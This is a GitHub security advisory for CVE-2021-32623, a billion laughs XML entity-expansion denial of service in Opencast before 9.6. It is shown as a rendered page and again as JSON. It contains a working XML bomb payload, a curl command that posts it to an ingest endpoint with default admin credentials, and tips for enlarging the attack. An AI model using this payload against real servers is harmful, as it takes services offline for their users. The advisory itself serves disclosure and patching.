ghsa-9gwx-9cwp-5c2m
Vulnerability from github
Published
2021-06-17 20:11
Modified
2021-10-21 13:40
Severity ?
8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Summary
Billion laughs attack (XML bomb)
Details

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

```xml

<!ELEMENT title (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> ]> &lol5; ```

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

sh curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \ -F 'mediapackage=<createMediaPackage.xml' \ -F sourceFlavors="" \ -F sourceTags="" \ -F deleteExternal="" \ -F tagsAndFlavor='' \ -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

For more information

If you have any questions or comments about this advisory:

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-16T20:07:19Z",
    "nvd_published_at": "2021-06-16T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry\u0027s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \"\u003e\n \u003c!ELEMENT title (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n]\u003e\n\u003cmediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\"\u003e\n  \u003ctitle\u003e\u0026lol5;\u003c/title\u003e\n  \u003cmedia/\u003e\n  \u003cmetadata/\u003e\n  \u003cattachments/\u003e\n  \u003cpublications/\u003e\n\u003c/mediapackage\u003e\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100\u00a0000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F \u0027mediapackage=\u003ccreateMediaPackage.xml\u0027 \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor=\u0027\u0027 \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast\u0027s XML parser does limit the expansion to 100\u00a0000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)",
  "id": "GHSA-9gwx-9cwp-5c2m",
  "modified": "2021-10-21T13:40:37Z",
  "published": "2021-06-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/16b0d641713fe31b8518fcf14fc5e4e815d81206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencast/opencast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Billion laughs attack (XML bomb)"
}


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